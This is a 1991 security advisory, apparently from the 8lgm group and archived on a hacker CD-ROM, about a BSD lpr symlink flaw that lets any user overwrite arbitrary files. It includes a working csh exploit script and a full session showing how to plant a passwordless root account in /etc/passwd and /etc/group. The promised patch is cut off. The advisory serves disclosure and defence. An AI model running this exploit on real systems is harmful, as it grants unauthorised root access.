home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / lpr.txt < prev    next >
Encoding:
Text File  |  2003-06-11  |  3.1 KB  |  126 lines

  1.  
  2. [8lgm]-Advisory-3.UNIX.lpr.19-Aug-1991
  3.  
  4. PROGRAM:
  5.  
  6.  lpr(1)  (/usr/ucb/lpr or /usr/bin/lpr)
  7.  
  8. VULNERABLE OS's:
  9.  
  10.  SunOS 4.1.1 or earlier
  11.  BSD 4.3
  12.  BSD NET/2 Derived Systems
  13.  A/UX 2.0.1
  14.  
  15.  Most systems supporting the BSD LP subsystem
  16.  
  17.  
  18. DESCRIPTION:
  19.  
  20.  lpr(1) can be used to overwrite or create (and become owner of)
  21.  any file on the system.  lpr -s allows users to create symbolic
  22.  links in lpd's spool directory (typically /var/spool/lpd).
  23.  After 1000 invocations of lpr, lpr will reuse the filename in
  24.  the spool directory, and follow the link previously installed.
  25.  It will thus overwrite/create any file that this link points too.
  26.  
  27. IMPACT:
  28.  
  29.  Any user with access to lpr(1) can alter system files and thus
  30.  become root.
  31.  
  32. REPEAT BY:
  33.  
  34.  This example demonstrates how to become root on most affected
  35.  machines by modifying /etc/passwd and /etc/group.  Please do
  36.  not do this unless you have permission.
  37.  
  38.  Create the following script, 'lprcp':
  39.  
  40. 8<--------------------------- cut here ----------------------------
  41. #!/bin/csh -f
  42. #
  43. # Usage: lprcp from-file to-file
  44. #
  45.  
  46. if ($#argv != 2) then
  47.  echo Usage: lprcp from-file to-file
  48.  exit 1
  49. endif
  50.  
  51. # This link stuff allows us to overwrite unreadable files,
  52. # should we want to.
  53. echo x > /tmp/.tmp.$$
  54. lpr -q -s /tmp/.tmp.$$
  55. rm -f /tmp/.tmp.$$  # lpr's accepted it, point it
  56. ln -s $2 /tmp/.tmp.$$  # to where we really want
  57.  
  58. @ s = 0
  59. while ( $s != 999)  # loop 999 times
  60.  lpr /nofile >&/dev/null # doesn't exist, but spins the clock!
  61.  @ s++
  62.  if ( $s % 10 == 0 ) echo -n .
  63. end
  64. lpr $1    # incoming file
  65.     # user becomes owner
  66. rm -f /tmp/.tmp.$$
  67. exit 0
  68. 8<--------------------------- cut here ----------------------------
  69.  
  70.  (Lines marked with > represent user input)
  71.  
  72. Make copies of /etc/passwd and /etc/group, and modify them:
  73. > % id
  74.  uid=97(8lgm) gid=97(8lgm) groups=97(8lgm)
  75. > % cp /etc/passwd /tmp/passwd
  76. > % ex /tmp/passwd
  77.  /tmp/passwd: unmodified: line 42
  78. > :a
  79. > 8lgmroot::0:0:Test account for lpr bug:/:/bin/csh
  80. > .
  81. > :wq
  82.  /tmp/passwd: 43 lines, 2188 characters.
  83. > % cp /etc/group /tmp
  84. > % ex /tmp/group
  85.  /tmp/group: unmodified: line 49
  86. > :/wheel
  87.  wheel:*:0:root,operator
  88. > :c
  89. > wheel:*:0:root,operator,8lgm
  90. > .
  91. > :wq
  92.  /tmp/group: 49 lines, 944 characters.
  93.  
  94. Install our new files:
  95. > % ./lprcp /tmp/group /etc/group
  96.  ................................................................
  97.  ...................................
  98.  lpr: cannot rename /var/spool/lpd/cfA060testnode
  99. > % ./lprcp /tmp/passwd /etc/passwd
  100.  .................................................................
  101.  ..................................
  102.  lpr: cannot rename /var/spool/lpd/cfA061testnode
  103.  
  104. Check it worked:
  105. > % ls -l /etc/passwd /etc/group
  106.  -rw-r--r--    1 8lgm          944 Mar  3 19:56 /etc/group
  107.  -rw-r--r--    1 8lgm         2188 Mar  3 19:59 /etc/passwd
  108. > % head -1 /etc/group
  109.  wheel:*:0:root,operator,8lgm
  110. > % grep '^8lgmroot' /etc/passwd
  111.  8lgmroot::0:0:Test account for lpr bug:/:/bin/csh
  112.  
  113. Become root and tidy up:
  114. > % su 8lgmroot
  115.  # chown root /etc/passwd /etc/group
  116.  # rm -f /tmp/passwd /tmp/group
  117.  #
  118.  
  119. FIX:
  120.  
  121.  1. Contact your vendor for a fix.
  122.  2. In the meantime, apply the following patch, derived from
  123.     BSD NET/2 source, which will correct the flaw on most
  124.     affected systems:
  125.  
  126.